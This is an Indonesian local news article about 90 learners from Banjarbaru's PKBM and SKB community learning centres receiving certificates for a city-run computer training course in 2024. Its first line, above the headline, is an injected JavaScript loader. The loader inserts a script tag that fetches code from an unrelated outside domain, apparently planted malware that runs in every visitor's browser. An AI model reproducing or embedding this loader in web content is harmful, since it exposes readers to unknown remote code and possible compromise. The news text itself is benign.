(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Warga Belajar PKBM dan SKB di Banjarbaru Dapat Sertifikat Pelatihan Komputer

KANALKALIMANTAN.COM, BANJARBARU – Puluhan peserta belajar dari Pusat Kegiatan Belajar Masyarakat (PKBM) dan Sanggar Kegiatan Belajar (SKB) di Kota Banjarbaru berhasil menyelesaikan program pelatihan berbasis komputer yang diselenggarakan oleh Pemerintah Kota Banjarbaru melalui Dinas Pendidikan (Disdik) tahun 2024.

Disdik Kota Banjarbaru selaku penyelenggara memberikan sertifikat tanda kelulusan kepada 90 peserta yang berhasil menyelesaikan pelatihan di Aula Linggangan DPRD Banjarbaru, Senin (19/8/2024) pagi.

Saat menutup kegiatan pelatihan ini, Wali Kota Banjarbaru Aditya Mufti Ariffin mengaku bersyukur, karena sudah banyak peserta belajar yang tersebar di PKBM dan SKB di Banjarbaru telah menyelesaikan belajarnya dengan menambah berbagai skill melalui kursus-kursus yang diberikan.

“Apa yang dilaksanakan oleh PKBM dan SKB ini sangat baik untuk warga belajar kesetaraan di Kota Banjarbaru ditambah dengan skill atau keahlian khusus berupa keahilan komputer ini,” ujar Aditya, Senin (19/8/2024) pagi.

Wali Kota Banjarbaru Adity Mufti Ariffin. Foto: wanda

“Mudah-mudahan dari kegiatan pelatihan ini bisa menambah dari sumber daya manusia di Banjarbaru sehingga dunia kerja bisa kebih banyak menyerap lulusan dari PKBM dan SKB,” sambung dia.

Kepala Disdik Kota Banjarbaru, Dedy Sutoyo mengatakan, sudah tahun ketiga di masa kepemimpinan Wali Kota Banjarbaru Aditya Mufti Ariffin, program pelatihan ini berjalan.

“Program ini dinamis diselenggarakan, di mana tahun ini hanya ada 90 peserta, pernah tahun pertama-kedua pernah hampir 1.000 kita berikan pelatihan dan gratis. Selain jadi warga belajar Paket A, Paket B dan Paket C mereka juga mendapat tambahan kursus-kursus seperti ini,” ujar Dedy Sutoyo menjelaskan.

Dedy menjelaskan, rata-rata peserta belajar yang mengikuti pelatihan komputer ini adalah santri-santri di pondok pesantren yang ada di Kota Banjarbaru.

Sebagian dari mereka juga datang dari berbagai macam latar belakang pengalaman hidup masing-masing, yang berada dalam akses PKBM dan SKB ini.

Kadisdik Kota Banjarbaru, Dedy Sutoyo. Foto: wanda

“Sehingga mereka tidak hanya sekolah agama tetap masuk ke pendidikan formal dengan mendapatkan ijazah, misalnya cita-cita anggota dewan atau mereka punya peluang dan bisa mengakses jalur pekerjaannya,” jelasnya.

Adapun pelatihan ini dilaksanakan selama 10 hari dengan menggandeng pembimbing yang kredibel dan punya pengalaman yang banyak, seperti LKP Astikom LKP Santika, dan LKP Banua Avia Education.

“Lulusan PKBM memang harus fight. Alhamdulillah juga ada satu LKP yang bagus mereka punya MoU dengan Kantor Pos kemudian dengan perusahaan perhotelanzkxsehingga beberapa dari lulusan mereka sudah terserap ke sana, dan goalsnya kita menekan angka pengangguran,” tuntas Dedy.

Sementara itu salah satu peserta dari PKBM Kuranji Guntung Manggis, Bunga Zalfa Zhahira mengaku banyak mendapatkan keahilan baru dalam hal mengoperasikan komputer setelah mengikuti pelatihan ini.

“Ini pertama kalinya, sebelumnya belum pernah pegang komputer dan gak paham, dengan ikut pelatihan ini jadi paham basic microsoft office, mudah-mudahan skill ini bisa membuat saya mudah terserap di dunia kerja nantinya” ucap Bunga berharap. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie